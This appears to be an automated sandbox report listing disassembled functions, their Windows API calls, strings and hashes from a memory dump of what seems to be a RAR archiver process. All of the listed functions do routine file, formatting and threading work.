Opcode ID: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction ID: c3dfff93b70515a1aca20cad394653a8b77778fc4188be14df9f51406764882b
Opcode Fuzzy Hash: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction Fuzzy Hash: 3A81C422A18A4182EAB4CF05E4402BA77E1FB88B88F5405BAEF4ED7755EF3CE541C700

Function 00007FF69A406FE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A407176
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A407221

Strings

%c%c%c%c%c%c%c%c%c, xrefs: 00007FF69A40716F
%c%c%c%c%c%c%c, xrefs: 00007FF69A4071E3

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction ID: 3a8dfd42db4aba25be7ef4b05563d6fbad61a9486a60084b65a4c17a82025909
Opcode Fuzzy Hash: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction Fuzzy Hash: CD5138F3F386548AE3648F1CE881BA93690F364F90F545B68F94AD3B44DA3DDA458B01

Function 00007FF69A3F6E84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 00007FF69A3F6EC8
wcschr.LIBVCRUNTIME ref: 00007FF69A3F6F16

Strings

MCAOmcao, xrefs: 00007FF69A3F6EC1
MCAOmcao, xrefs: 00007FF69A3F6F0F

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: wcschr
String ID: MCAOmcao$MCAOmcao
API String ID: 1497570035-1725859250
Opcode ID: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction ID: f56d160d49e7eb52fa36607b510daa4d7916d14a5ada7e50f750f80fa847c6c1
Opcode Fuzzy Hash: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction Fuzzy Hash: D8416A12D1C6C380FA309F20855157E72D1EF10BC4F5984FEEE5DCA2D6EE2DA552A321

Function 00007FF69A403528 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF69A40359E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A4035E6

Part of subcall function 00007FF69A4030C8: GetFileAttributesW.KERNELBASE(00000800,00007FF69A40305D,?,?,?,?,?,?,?,?,00007FF69A414126,?,?,?,?,00000800), ref: 00007FF69A4030F0
Part of subcall function 00007FF69A4030C8: GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF69A414126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF69A403119

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A403651

Strings

%u.%03u, xrefs: 00007FF69A4035A7, 00007FF69A403630

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AttributesFileswprintf$CurrentProcess
String ID: %u.%03u
API String ID: 2814246642-1114938957
Opcode ID: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction ID: 959cf6748932b9bcc87e6c89983c546f61c59751ad7a437da7bb43d27d9fb941
Opcode Fuzzy Hash: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction Fuzzy Hash: EB31366161868142E7349B25E4112BA76E0FB94BB4F5017B6EE7EC7BE1DF3DE4068700

Function 00007FF69A447854 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF69A44793A
WriteFile.KERNEL32 ref: 00007FF69A44796D
GetLastError.KERNEL32 ref: 00007FF69A44798F

Strings

U, xrefs: 00007FF69A447918

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction ID: 1fa536cb75e36869b96c766464208a8d23ec853ead62a6548deef027c836fd53
Opcode Fuzzy Hash: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction Fuzzy Hash: DA418E32B19A4186EB608F25E8443AAB7E1FB88B94F4140B1EE8DC7794DF3CD512C740

Function 00007FF69A43D7BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A43E7D0: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF69A43E7D4

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF69A43D7E2
RaiseException.KERNEL32 ref: 00007FF69A43D80B
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF69A43D86C

Strings

csm, xrefs: 00007FF69A43D83F

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction ID: 3b89547a7b736092cd53d6fc16571534fced4bbe4f413abd42267b38b4682f97
Opcode Fuzzy Hash: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction Fuzzy Hash: 85215C7A60864182E734DB16E14026E77A1FB88FA5F0016B5DEDD83B95CF3CE886CB00

Function 00007FF69A4142CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A41430F
wcschr.LIBVCRUNTIME ref: 00007FF69A41432C
wcschr.LIBVCRUNTIME ref: 00007FF69A41433C

Strings

%c:\, xrefs: 00007FF69A414302

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: wcschr$swprintf
String ID: %c:\
API String ID: 1303626722-3142399695
Opcode ID: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction ID: c655713ed7da1bb1fd2380775ad617502a94988c326ca18482a9217cd11efa44
Opcode Fuzzy Hash: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction Fuzzy Hash: 70118E62B1874581EE346F11950107973A0EF66F90B1895F5DFAE877E6EF3CE4618340

Function 00007FF69A42B780 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF69A42B7C0
CreateSemaphoreW.KERNEL32 ref: 00007FF69A42B7D0
CreateEventW.KERNEL32 ref: 00007FF69A42B7E7

Strings

Thread pool initialization failed., xrefs: 00007FF69A42B803

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction ID: 56b714c3b29ca1a08d6d08754e4ca0973e168354e299c82fd0bfc244b6ab7574
Opcode Fuzzy Hash: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction Fuzzy Hash: C911E632B1568186FB608F25E4143AA32E2EBC4F98F1884B9DA4D87659CF3DD4568740

Function 00007FF69A432984 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A432B96
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A432BA7

Part of subcall function 00007FF69A43BA34: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69A43B313), ref: 00007FF69A43BAB1
Part of subcall function 00007FF69A43BA34: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69A43B313), ref: 00007FF69A43BAF0

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A432BB2
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A432BC3

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Exception$Throwstd::bad_alloc::bad_alloc$FileHeaderRaise
String ID:
API String ID: 904936192-0
Opcode ID: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction ID: 0eda1bee7b88970e8a952dc9bb775b7592f4c92559ad9500a166a65744986c0f
Opcode Fuzzy Hash: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction Fuzzy Hash: CB51DE62A19A8182EB60CF25D4503AC73A1FBD4F98F0482B1DEAEC77A5DF79D512C300

Function 00007FF69A403818 Relevance: 6.1, APIs: 4, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000004,00000000,?,?,?,?,?,00007FF69A3FF6FC,00000000,?,?,?,?,00007FF69A40097D), ref: 00007FF69A4038CD
CreateFileW.KERNEL32(?,?,?,?,?,00007FF69A3FF6FC,00000000,?,?,?,?,00007FF69A40097D,?,?,00000000), ref: 00007FF69A40391F
SetFileTime.KERNEL32(?,?,?,?,?,00007FF69A3FF6FC,00000000,?,?,?,?,00007FF69A40097D,?,?,00000000), ref: 00007FF69A40399B
CloseHandle.KERNEL32(?,?,?,?,?,00007FF69A3FF6FC,00000000,?,?,?,?,00007FF69A40097D,?,?,00000000), ref: 00007FF69A4039A6

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction ID: aede8d82f815d2aec386b3dc276ad4a58f1c6e61c7cfbff955ceb3b66f0aaaea
Opcode Fuzzy Hash: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction Fuzzy Hash: D441C326A0D65142EB708B21A51177A7AE0FF95FA4F1142F1EE9D877D4DF7CE40A8B00

Function 00007FF69A430244 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A4303D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A4303E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A4303EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A430400

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction ID: 41931f43ad024750ca9b242af69bc469ca8df1c3b2968da8acc8decd74d6080b
Opcode Fuzzy Hash: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction Fuzzy Hash: C0416162A0DAC285EB719A21D2503FD73D0EF90F84F1846F6DBCD86A99DF2CE9458311

Function 00007FF69A445120 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A445173
WideCharToMultiByte.KERNEL32 ref: 00007FF69A445245
GetLastError.KERNEL32 ref: 00007FF69A445268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A44529A

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction ID: c6dc6158072afe15b62c10a94ee19dcd37eac3cdd45fd5d47673f993301dad84
Opcode Fuzzy Hash: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction Fuzzy Hash: 90414B22E0D78246FF759E519140379B6E1EF80F90F5481F1DA8A8BAD9DF2CE8418B42

Function 00007FF69A3FD048 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF69A3E86CB,?,?,?,00007FF69A3EA5CB,?,?,00000000,?,?,00000040,?,?,00007FF69A3E2DF9), ref: 00007FF69A3FD09D
CreateFileW.KERNEL32(?,00007FF69A3E86CB,?,?,?,00007FF69A3EA5CB,?,?,00000000,?,?,00000040,?,?,00007FF69A3E2DF9), ref: 00007FF69A3FD0E5
CreateFileW.KERNEL32(?,00007FF69A3E86CB,?,?,?,00007FF69A3EA5CB,?,?,00000000,?,?,00000040,?,?,00007FF69A3E2DF9), ref: 00007FF69A3FD114
CreateFileW.KERNEL32(?,00007FF69A3E86CB,?,?,?,00007FF69A3EA5CB,?,?,00000000,?,?,00000040,?,?,00007FF69A3E2DF9), ref: 00007FF69A3FD15C

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction ID: 291bc9b58ea90e8ea4c22f40fc3503241ce6fc29b60f6ebd127a7ed4332fd6df
Opcode Fuzzy Hash: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction Fuzzy Hash: 71318D32618B4586E7708F11F5547AAB7E0F789BA8F505368EAAD87BC8CF3DD0048B40

Function 00007FF69A42B4EC Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF69A42B549
SetPriorityClass.KERNEL32 ref: 00007FF69A42B554
GetCurrentThread.KERNEL32 ref: 00007FF69A42B55A
SetThreadPriority.KERNEL32 ref: 00007FF69A42B565

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
